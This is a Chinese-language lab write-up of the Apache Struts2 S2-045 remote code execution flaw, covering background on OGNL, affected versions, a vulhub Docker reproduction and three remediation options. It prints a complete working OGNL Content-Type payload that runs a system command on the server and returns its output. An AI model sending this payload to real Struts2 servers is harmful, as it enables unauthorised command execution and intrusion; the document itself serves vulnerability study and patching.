Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。
struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。
一、漏洞描述在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
二、影响版本Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
三、漏洞复现1、搭建环境
这里使用docker直接启动vulhub靶场
docker-compose up -d
目录:/struts2/s2-045
列出相应容器
docker-compose ps
登录
2、上传文件,修改bp请求包Content-Type值
漏洞POC
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
只需要修改此处值,就可以执行任意系统命令
方案一:
找到struts2的核心包 struts2-core-2.3.31,解压,找到并打开其中的default.properties文件,修改struts.multipart.parser=jakarta 为struts.multipart.parser=pell 保存退出
方案二:
此次 S2-045 漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求。
方案三:
更新至Strusts2.3.32或者Strusts2.5.10.1
具体修复方法参考:https://www.jianshu.com/p/519796fcefec